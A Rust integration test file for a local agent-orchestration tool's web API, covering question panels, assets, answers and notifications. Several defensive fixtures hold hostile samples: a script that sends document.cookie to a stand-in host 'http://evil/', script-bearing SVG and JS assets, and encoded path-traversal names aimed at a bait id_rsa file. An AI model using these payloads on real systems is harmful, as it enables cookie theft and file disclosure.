9339 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9346 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9347
9348 fn launch_knocking_on_the_way_out(
9355 _opts: daemon::Opts,
9356 stop: daemon::Stop,
9357 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9358 Box::pin(async move {
9359 while !stop.stopped() {
9360 tokio::time::sleep(Duration::from_millis(2)).await;
9361 }
9362 let addr = PARK_KNOCK
9363 .lock()
9364 .expect("park knock")
9365 .expect("the test set an address");
9366 let heard = request(addr, "GET", "/api/health", None).await.status;
9367 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9368 Ok(())
9369 })
9370 }
9371
9372 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9381 for _ in 0..SETTLE_STEPS {
9382 let view = fx.get("/api/loop").await.json();
9383 if want(&view) {
9384 return view;
9385 }
9386 tokio::time::sleep(Duration::from_millis(10)).await;
9387 }
9388 panic!(
9389 "the loop never settled: {}",
9390 fx.get("/api/loop").await.json()
9391 );
9392 }
9393
9394 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9396 let store = fx.questions();
9397 let mut q = Question::new(
9398 "20260902-000000-beef".to_owned(),
9399 "implement".to_owned(),
9400 "impl-A".to_owned(),
9401 summary.to_owned(),
9402 "because it matters".to_owned(),
9403 choices.iter().map(|c| (*c).to_owned()).collect(),
9404 );
9405 store.put(&mut q).expect("put question");
9406 q.id
9407 }
9408
9409 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9415 let store = fx.questions();
9416 let mut q = Question::new(
9417 "20260902-000000-beef".to_owned(),
9418 "land".to_owned(),
9419 "fix".to_owned(),
9420 "Merge this?".to_owned(),
9421 "the diff is in the panel".to_owned(),
9422 vec!["merge".to_owned(), "hold".to_owned()],
9423 );
9424 let staging = fx.home.path().join("staging");
9427 std::fs::create_dir_all(&staging).expect("staging dir");
9428 let sources: Vec<PathBuf> = assets
9429 .iter()
9430 .map(|(name, bytes)| {
9431 let path = staging.join(name);
9432 std::fs::write(&path, bytes).expect("write staged asset");
9433 path
9434 })
9435 .collect();
9436 store
9437 .put_panel(&mut q, html, &sources)
9438 .expect("write the panel");
9439 store.put(&mut q).expect("put question");
9440 q.id
9441 }
9442
9443 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9452 seed_talk_at(&fx.talks(), id, status)
9453 }
9454
9455 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9456 std::fs::create_dir_all(store.root()).expect("talks dir");
9457 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9458 .expect("serialize a seat");
9459 let body = serde_json::json!({
9460 "schema": 1,
9461 "id": id,
9462 "repo": "/repo/magi",
9463 "agent": "mock",
9464 "status": status,
9465 "turns": [],
9466 "created_at": Timestamp::now().to_string(),
9467 "updated_at": Timestamp::now().to_string(),
9468 "seat": seat,
9469 });
9470 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9471 store.get(id).expect("the seeded talk has to be readable");
9472 id.to_owned()
9473 }
9474
9475 #[tokio::test]
9476 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9477 let fx = Fixture::start().await;
9478 let id = panel(
9479 &fx,
9480 "<h1>Merge?</h1><img src=\"diff.svg\">",
9481 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9482 );
9483
9484 for path in [
9485 format!("/api/questions/{id}/panel"),
9486 format!("/api/questions/{id}/asset/diff.svg"),
9487 ] {
9488 let res = fx.get(&path).await;
9489 assert_eq!(res.status, 200, "{path}: {}", res.body);
9490 assert_eq!(
9496 res.header("content-security-policy"),
9497 Some(
9498 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9499 font-src data:; base-uri 'none'; form-action 'none'; \
9500 frame-ancestors 'self'"
9501 ),
9502 "{path} is the only thing between a hostile panel and the tailnet"
9503 );
9504 assert_eq!(
9505 res.header("x-content-type-options"),
9506 Some("nosniff"),
9507 "{path}: a browser must not re-decide the type we sent"
9508 );
9509 assert_eq!(
9510 res.header("referrer-policy"),
9511 Some("no-referrer"),
9512 "{path}: a panel must not leak the question id off the machine"
9513 );
9514
9515 let pre = fx.head(&path).await;
9520 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9521 assert_eq!(
9522 pre.header("content-security-policy"),
9523 res.header("content-security-policy"),
9524 "{path}: the preflight carries the same policy"
9525 );
9526 assert_eq!(
9527 pre.header("content-type"),
9528 res.header("content-type"),
9529 "{path}: the preflight carries the same type"
9530 );
9531 }
9532 }
9533
9534 #[tokio::test]
9535 async fn a_panel_reaches_the_browser_byte_for_byte() {
9536 let fx = Fixture::start().await;
9537 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9542 let id = panel(&fx, html, &[]);
9543
9544 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9545
9546 assert_eq!(res.status, 200);
9547 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9548 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9549 assert_eq!(
9550 res.header("content-disposition"),
9551 None,
9552 "the panel itself is rendered in the frame, not downloaded"
9553 );
9554 }
9555
9556 #[tokio::test]
9557 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9558 let fx = Fixture::start().await;
9559 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9560 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9561 let id = panel(
9562 &fx,
9563 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9564 &[("diff.svg", svg), ("shot.png", png)],
9565 );
9566
9567 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9568 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9569
9570 assert_eq!(as_svg.status, 200);
9571 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9572 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9577
9578 assert_eq!(as_png.status, 200);
9579 assert_eq!(as_png.header("content-type"), Some("image/png"));
9580 assert_eq!(
9581 as_png.header("content-disposition"),
9582 None,
9583 "a raster image has no execution surface, so tapping it still shows it"
9584 );
9585 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9586 }
9587
9588 #[tokio::test]
9589 async fn an_html_asset_is_never_served_as_html() {
9590 let fx = Fixture::start().await;
9591 let id = panel(
9592 &fx,
9593 "<p>see the notes</p>",
9594 &[
9595 (
9596 "notes.html",
9597 b"<script>fetch('http://evil/'+document.cookie)</script>",
9598 ),
9599 ("hook.js", b"fetch('http://evil/')"),
9600 ("data.json", b"{}"),
9601 ("HEADLINE.TXT", b"plain"),
9602 ],
9603 );
9604
9605 for name in ["notes.html", "hook.js", "data.json"] {
9606 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9607 assert_eq!(res.status, 200, "{name}: {}", res.body);
9608 assert_eq!(
9613 res.header("content-type"),
9614 Some("application/octet-stream"),
9615 "{name} must not be a type the browser will execute or render"
9616 );
9617 }
9618 let txt = fx
9621 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9622 .await;
9623 assert_eq!(
9624 txt.header("content-type"),
9625 Some("text/plain; charset=utf-8")
9626 );
9627 }
9628
9629 #[tokio::test]
9630 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9631 let fx = Fixture::start().await;
9632 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9633 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9637
9638 for encoded in [
9645 "%2e%2e%2fid_rsa",
9646 "..%2fid_rsa",
9647 "..%5cid_rsa",
9648 "%2e%2e%5cid_rsa",
9649 "diff%00.svg",
9650 "..",
9651 ".hidden",
9652 "%2e%2e%2f%2e%2e%2fid_rsa",
9653 ] {
9654 let res = fx
9655 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9656 .await;
9657 assert_eq!(
9658 res.status, 400,
9659 "`{encoded}` has to be refused by name, not looked up: {}",
9660 res.body
9661 );
9662 assert!(res.json()["error"].is_string(), "{}", res.body);
9663 }
9664
9665 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9671 let res = fx
9672 .get(&format!("/api/questions/{id}/asset/{literal}"))
9673 .await;
9674 assert_eq!(
9675 res.status, 404,
9676 "`{literal}` must not match the asset route at all: {}",
9677 res.body
9678 );
9679 }
9680 }
9681
9682 #[tokio::test]
9683 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9684 let fx = Fixture::start().await;
9685 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9686 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9687
9688 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9692 assert_eq!(none.status, 404, "{}", none.body);
9693 assert!(none.json()["error"].is_string(), "{}", none.body);
9694 assert_eq!(
9695 fx.head(&format!("/api/questions/{plain}/panel"))
9696 .await
9697 .status,
9698 404,
9699 "the preflight is the only way the client can learn this"
9700 );
9701
9702 let missing = fx
9704 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9705 .await;
9706 assert_eq!(missing.status, 404, "{}", missing.body);
9707 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9708
9709 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9711 assert_eq!(
9712 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9713 404
9714 );
9715 }
9716
9717 #[tokio::test]
9718 async fn a_run_with_an_open_question_reads_as_waiting() {
9719 let fx = Fixture::start().await;
9720 let run = "20260902-000000-beef".to_owned();
9721 write_run(&fx.runs(), &run, RunStatus::Implementing);
9722
9723 let before = fx.get("/api/runs").await.json();
9724 assert_eq!(before[0]["waiting"], false, "{before}");
9725
9726 let store = fx.questions();
9727 let mut q = Question::new(
9728 run.clone(),
9729 "implement".to_owned(),
9730 "impl-A".to_owned(),
9731 "Which backend?".to_owned(),
9732 String::new(),
9733 vec!["SQLite".to_owned()],
9734 );
9735 store.put(&mut q).expect("put");
9736
9737 let during = fx.get("/api/runs").await.json();
9738 assert_eq!(during[0]["waiting"], true, "{during}");
9739
9740 q.answer(Answer::Choice("SQLite".to_owned()))
9743 .expect("answer");
9744 store.put(&mut q).expect("put");
9745 let after = fx.get("/api/runs").await.json();
9746 assert_eq!(after[0]["waiting"], false, "{after}");
9747 }
9748
9749 #[tokio::test]
9750 async fn an_open_question_is_listed_and_counted_by_health() {
9751 let fx = Fixture::start().await;
9752 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9753
9754 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9755 let listed = fx.get("/api/questions").await.json();
9756 assert_eq!(listed.as_array().expect("array").len(), 1);
9757 assert_eq!(listed[0]["id"], id);
9758 assert_eq!(listed[0]["status"], "open");
9759 assert_eq!(listed[0]["choices"][1], "Redis");
9760 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9763 }
9764
9765 #[tokio::test]
9766 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
9767 let fx = Fixture {
9768 home: TempDir::new().unwrap(),
9769 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9770 };
9771 let mut state = crate::land::tests::repair_state(true, true);
9772 state.status = RunStatus::Landing;
9773 state.parked = true;
9774 state.driver_exited = true;
9775 let mut task = Task::new(
9776 "Existing PR owner".into(),
9777 state.instruction.clone(),
9778 state.repo.clone(),
9779 Source::Human,
9780 );
9781 task.runs.push(state.id.clone());
9782 task.status = TaskStatus::Parked;
9783 fx.queue().put(&mut task).unwrap();
9784 let mut q = Question::new(
9785 state.id.clone(),
9786 crate::land::APPROVAL_NODE.into(),
9787 "land".into(),
9788 "Contested merge".into(),
9789 "Original evidence".into(),
9790 vec!["merge".into(), "hold".into()],
9791 );
9792 state.land_approval = Some(crate::run::LandApproval {
9793 question: q.id.clone(),
9794 head: "reviewed-head".into(),
9795 });
9796 state.save_under(fx.home.path()).unwrap();
9797 fx.questions().put(&mut q).unwrap();
9798 task.hold_manual(Some("Pause this PR".into()));
9800 fx.queue().put(&mut task).unwrap();
9801 let ui = Arc::new(Ui::new(
9804 fx.queue(),
9805 fx.questions(),
9806 fx.talks(),
9807 fx.runs(),
9808 fx.home.path().to_path_buf(),
9809 state.repo.clone(),
9810 ));
9811 let response = question_answer(
9812 State(ui),
9813 Path(q.id.clone()),
9814 Ok(Json(NewAnswer {
9815 choice: Some(crate::land::REPAIR.into()),
9816 text: None,
9817 })),
9818 )
9819 .await
9820 .unwrap();
9821 assert_eq!(response.0.question.id, q.id);
9822 let upgraded = fx.questions().get(&q.id).unwrap();
9823 assert_eq!(
9824 upgraded.choices,
9825 [crate::land::APPROVE, crate::land::HOLD, crate::land::REPAIR]
9826 );
9827 assert!(upgraded.detail.starts_with("Original evidence"));
9828 let claim = fx.queue().claim(&task.id).unwrap();
9829 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
9830 assert!(
9831 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
9832 "an existing driver keeps its claim"
9833 );
9834 drop(claim);
9835 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
9836 let resumed = fx.queue().get(&task.id).unwrap();
9837 assert_eq!(
9838 resumed
9839 .resume_override
9840 .as_ref()
9841 .unwrap()
9842 .pinned_run
9843 .as_deref(),
9844 Some(state.id.as_str())
9845 );
9846 assert!(resumed.status.runnable());
9847 assert_eq!(resumed.instruction, task.instruction);
9848 assert_eq!(resumed.runs, task.runs);
9849 assert!(resumed.action_applied(&q.id));
9850 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
9851 assert_eq!(fx.queue().list().len(), 1);
9852 assert_eq!(
9853 fx.queue().get(&task.id).unwrap().resume_override,
9854 resumed.resume_override
9855 );
9856 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
9857 assert!(
9858 disk.merge_repairs.is_empty(),
9859 "only the claimed run driver may execute repair"
9860 );
9861 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
9862 }
9863
9864 #[tokio::test]
9865 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9866 let fx = Fixture::start().await;
9867 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9868 let path = format!("/api/questions/{id}/answer");
9869
9870 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9871 assert_eq!(res.status, 200, "{}", res.body);
9872 let body = res.json();
9873 assert_eq!(body["status"], "answered");
9874 assert_eq!(body["answer"]["choice"], "Redis");
9875
9876 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9880 assert_eq!(again.status, 409, "{}", again.body);
9881 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9882 }
9883
9884 #[tokio::test]
9885 async fn saying_something_appends_a_turn_without_answering() {
9886 let fx = Fixture::start().await;
9887 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9888 let path = format!("/api/questions/{id}/say");
9889
9890 let res = fx
9891 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9892 .await;
9893 assert_eq!(res.status, 200, "{}", res.body);
9894 let body = res.json();
9895 assert_eq!(body["status"], "open", "talking back is not a decision");
9896 assert_eq!(body["answer"], Value::Null);
9897 assert_eq!(body["thread"][0]["who"], "operator");
9898 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9899 assert_eq!(body["waiting_on_agent"], true);
9900 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9902 }
9903
9904 #[tokio::test]
9905 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9906 let fx = Fixture::start().await;
9907 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9908
9909 let list = fx.get("/api/questions").await.json();
9910 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9911
9912 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9913 assert_eq!(res.status, 409, "{}", res.body);
9914 let q = fx.questions().get(&id).unwrap();
9915 assert!(q.status.open());
9916 assert!(q.consult.is_none());
9917 }
9918
9919 #[tokio::test]
9920 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9921 let fx = Fixture::start().await;
9922 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9923 let cfg = Config {
9924 agents: vec![crate::config::AgentSpec {
9925 id: "mock".to_owned(),
9926 kind: crate::config::AgentKind::Command,
9927 model: None,
9928 command: vec!["true".to_owned()],
9929 extra_args: Vec::new(),
9930 env: Default::default(),
9931 prompt_delivery: None,
9932 }],
9933 ..Config::default()
9934 };
9935 let talk = crate::talk::begin(
9936 &fx.talks(),
9937 &cfg,
9938 fx.home.path().to_path_buf(),
9939 Some("mock"),
9940 )
9941 .unwrap();
9942 let mut task = Task::new(
9943 "t".to_owned(),
9944 "Do it".to_owned(),
9945 PathBuf::from("/repo/magi"),
9946 Source::Agent {
9947 run: talk.id.clone(),
9948 node: crate::queue::CHAT_NODE.to_owned(),
9949 },
9950 );
9951 task.start("20260902-000000-beef".to_owned());
9952 fx.queue().put(&mut task).unwrap();
9953
9954 let list = fx.get("/api/questions").await.json();
9955 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9956 assert_eq!(
9957 list[0]["choices"],
9958 serde_json::json!(["SQLite", "Redis"]),
9959 "the hand-over is never a choice"
9960 );
9961 fx.questions()
9962 .update(&id, |q| {
9963 q.node = crate::land::APPROVAL_NODE.into();
9964 q.choices = vec!["merge".into(), "hold".into()];
9965 Ok(())
9966 })
9967 .unwrap();
9968 let list = fx.get("/api/questions").await.json();
9969 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9970 let _ = id;
9971 }
9972
9973 #[tokio::test]
9974 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9975 let fx = Fixture::start().await;
9976 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9977 fx.questions()
9978 .update(&id, |q| {
9979 q.node = crate::land::APPROVAL_NODE.into();
9980 q.choices = vec!["merge".into(), "hold".into()];
9981 Ok(())
9982 })
9983 .unwrap();
9984 let cfg = Config {
9985 agents: vec![crate::config::AgentSpec {
9986 id: "mock".to_owned(),
9987 kind: crate::config::AgentKind::Command,
9988 model: None,
9989 command: vec!["true".to_owned()],
9990 extra_args: Vec::new(),
9991 env: Default::default(),
9992 prompt_delivery: None,
9993 }],
9994 ..Config::default()
9995 };
9996 let repo = fx.home.path().join("chat-repo");
9998 std::fs::create_dir_all(&repo).unwrap();
9999 let toml = repo.join("magi.toml");
10000 std::fs::write(&toml, "this is = = not toml").unwrap();
10001 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10002 let mut task = Task::new(
10003 "t".to_owned(),
10004 "Do it".to_owned(),
10005 PathBuf::from("/repo/magi"),
10006 Source::Agent {
10007 run: talk.id.clone(),
10008 node: crate::queue::CHAT_NODE.to_owned(),
10009 },
10010 );
10011 task.start("20260902-000000-beef".to_owned());
10012 fx.queue().put(&mut task).unwrap();
10013
10014 let path = format!("/api/questions/{id}/consult");
10015 let res = fx.post(&path, None).await;
10016 assert!(res.status >= 400, "{}", res.body);
10017 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10018 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10019
10020 std::fs::write(&toml, "").unwrap();
10021 let res = fx.post(&path, None).await;
10022 assert_eq!(res.status, 202, "{}", res.body);
10023 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10024 let q = fx.questions().get(&id).unwrap();
10025 assert!(q.status.open());
10026 assert!(q.answer.is_none());
10027 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10028 }
10029
10030 #[tokio::test]
10031 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10032 let fx = Fixture::start().await;
10033 let store = fx.questions();
10034 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10035 assert_eq!(
10036 fx.get("/api/health").await.json()["questions_needs_owner"],
10037 1
10038 );
10039
10040 let res = fx
10046 .post(
10047 &format!("/api/questions/{id}/say"),
10048 Some(r#"{"body":"why not Postgres?"}"#),
10049 )
10050 .await;
10051 assert_eq!(res.status, 200, "{}", res.body);
10052 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10053 assert_eq!(
10054 fx.get("/api/health").await.json()["questions_needs_owner"],
10055 0,
10056 "waiting on the agent is not waiting on the owner"
10057 );
10058
10059 let mut q = store.get(&id).expect("get");
10063 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10064 .expect("reply");
10065 store.put(&mut q).expect("put");
10066 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10067 assert_eq!(
10068 fx.get("/api/health").await.json()["questions_needs_owner"],
10069 1,
10070 "the agent's reply is what should light the banner back up"
10071 );
10072 }
10073
10074 #[tokio::test]
10075 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10076 let fx = Fixture::start().await;
10077 let store = fx.questions();
10078
10079 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10080 let res = fx
10081 .post(
10082 &format!("/api/questions/{empty_id}/say"),
10083 Some(r#"{"body":" "}"#),
10084 )
10085 .await;
10086 assert_eq!(res.status, 400, "{}", res.body);
10087
10088 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10089 let mut answered = store.get(&answered_id).expect("get");
10090 answered
10091 .answer(Answer::Choice("SQLite".to_owned()))
10092 .expect("answer");
10093 store.put(&mut answered).expect("put");
10094 let res = fx
10095 .post(
10096 &format!("/api/questions/{answered_id}/say"),
10097 Some(r#"{"body":"still there?"}"#),
10098 )
10099 .await;
10100 assert_eq!(res.status, 409, "{}", res.body);
10101
10102 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10103 let mut abandoned = store.get(&abandoned_id).expect("get");
10104 abandoned.abandon("timed out");
10105 store.put(&mut abandoned).expect("put");
10106 let res = fx
10107 .post(
10108 &format!("/api/questions/{abandoned_id}/say"),
10109 Some(r#"{"body":"still there?"}"#),
10110 )
10111 .await;
10112 assert_eq!(res.status, 409, "{}", res.body);
10113 }
10114
10115 #[tokio::test]
10116 async fn an_answer_the_question_does_not_offer_is_refused() {
10117 let fx = Fixture::start().await;
10118 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10119 let path = format!("/api/questions/{id}/answer");
10120
10121 for body in [
10122 r#"{"choice":"Postgres"}"#,
10123 r#"{"text":"whatever you think"}"#,
10124 r#"{"choice":"Redis","text":"both"}"#,
10125 r#"{}"#,
10126 ] {
10127 let res = fx.post(&path, Some(body)).await;
10128 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10129 assert!(res.json()["error"].is_string(), "{}", res.body);
10130 }
10131 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10133 }
10134
10135 #[tokio::test]
10136 async fn a_free_text_question_takes_text_and_not_a_choice() {
10137 let fx = Fixture::start().await;
10138 let id = ask(&fx, "What should the flag be called?", &[]);
10139 let path = format!("/api/questions/{id}/answer");
10140
10141 assert_eq!(
10142 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10143 400
10144 );
10145 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10146 assert_eq!(res.status, 200, "{}", res.body);
10147 assert_eq!(res.json()["answer"]["text"], "--json");
10148 }
10149
10150 #[tokio::test]
10151 async fn an_unknown_question_is_a_json_404() {
10152 let fx = Fixture::start().await;
10153 let res = fx
10154 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10155 .await;
10156 assert_eq!(res.status, 404, "{}", res.body);
10157 assert!(res.json()["error"].is_string());
10158 }
10159
10160 #[tokio::test]
10161 async fn notifications_list_read_dismiss_and_health_agree() {
10162 let fx = Fixture::start().await;
10163 let store = Notices::at(fx.home.path().join("notifications"));
10164 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10165 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10166
10167 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10168 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10169
10170 store
10171 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10172 .unwrap();
10173 let health = fx.get("/api/health").await.json();
10174 assert_eq!(health["notifications_unread"], 2);
10175 assert_ne!(
10176 health["notifications_rev"], rev0,
10177 "the badge must move live"
10178 );
10179
10180 let listed = fx.get("/api/notifications").await.json();
10181 assert_eq!(listed["unread"], 2);
10182 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10183 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10184
10185 let read = fx
10186 .post(&format!("/api/notifications/{}/read", a.id), None)
10187 .await;
10188 assert_eq!(read.status, 200, "{}", read.body);
10189 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10190
10191 let gone = fx
10192 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10193 .await;
10194 assert_eq!(gone.status, 200, "{}", gone.body);
10195 let listed = fx.get("/api/notifications").await.json();
10196 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10197 assert_eq!(listed["unread"], 0);
10198
10199 store.raise(Notice::info("x", "again")).unwrap();
10200 let all = fx.post("/api/notifications/read-all", None).await;
10201 assert_eq!(all.status, 200, "{}", all.body);
10202 assert_eq!(all.json()["marked"], 1);
10203 assert_eq!(
10204 fx.get("/api/health").await.json()["notifications_unread"],
10205 0
10206 );
10207
10208 let missing = fx.post("/api/notifications/nope/read", None).await;
10209 assert_eq!(missing.status, 404, "{}", missing.body);
10210 assert!(missing.json()["error"].is_string());
10211 }
10212
10213 #[tokio::test]
10220 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10221 let f = Fixture::start().await;
10222
10223 let res = f
10224 .post(
10225 "/api/queue",
10226 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10227 )
10228 .await;
10229
10230 assert_eq!(
10231 res.status, 405,
10232 "POST /api/queue must not be a route: {}",
10233 res.body
10234 );
10235 assert!(
10236 f.queue().list().is_empty(),
10237 "a task filed by a route that does not exist must not reach the disk"
10238 );
10239 assert_eq!(f.get("/api/queue").await.status, 200);
10242 }
10243
10244 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10246 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10247 .expect("checkout dir");
10248 }
10249
10250 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10252
10253 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10254 let tmp = TempDir::new().expect("tempdir");
10255 let repo = tmp.path().join("repo");
10256 std::fs::create_dir_all(&repo).expect("repo dir");
10257 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10258 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10259 if let Some(text) = machine_toml {
10260 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10261 std::fs::write(&machine, text).expect("machine toml");
10262 }
10263 (tmp, repo, machine)
10264 }
10265
10266 async fn settings_checkout(path: &FsPath, text: &str) {
10267 std::fs::create_dir_all(path).unwrap();
10268 std::fs::write(path.join("magi.toml"), text).unwrap();
10269 for args in [
10270 vec!["init", "-b", "main"],
10271 vec!["add", "magi.toml"],
10272 vec![
10273 "-c",
10274 "user.name=Test",
10275 "-c",
10276 "user.email=test@example.invalid",
10277 "commit",
10278 "-m",
10279 "fixture",
10280 ],
10281 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10282 vec![
10283 "symbolic-ref",
10284 "refs/remotes/origin/HEAD",
10285 "refs/remotes/origin/main",
10286 ],
10287 ] {
10288 crate::git::git(path, &args).await.unwrap();
10289 }
10290 }
10291
10292 #[tokio::test]
10293 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10294 let (tmp, repo, machine) =
10295 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10296 let root = tmp.path().join("roots");
10297 let selected = root.join("host/owner/selected");
10298 settings_checkout(
10299 &selected,
10300 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10301 )
10302 .await;
10303 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10304 let before = std::fs::read(&machine).unwrap();
10305 let ui = Arc::new(
10306 Ui::new(
10307 Queue::at(tmp.path().join("queue")),
10308 Questions::at(tmp.path().join("questions")),
10309 Talks::at(tmp.path().join("talks")),
10310 tmp.path().join("runs"),
10311 tmp.path().to_path_buf(),
10312 repo.clone(),
10313 )
10314 .with_machine_config(Some(machine.clone())),
10315 );
10316 let query = || {
10317 Query(SettingsQuery {
10318 repo: Some(selected.clone()),
10319 })
10320 };
10321 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10322 assert!(v.error.is_none(), "{:?}", v.error);
10323 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10324 assert_eq!(conductor.source, "repo");
10325 assert_eq!(
10326 conductor.machine_value,
10327 Some(toml::Value::String("a".into()))
10328 );
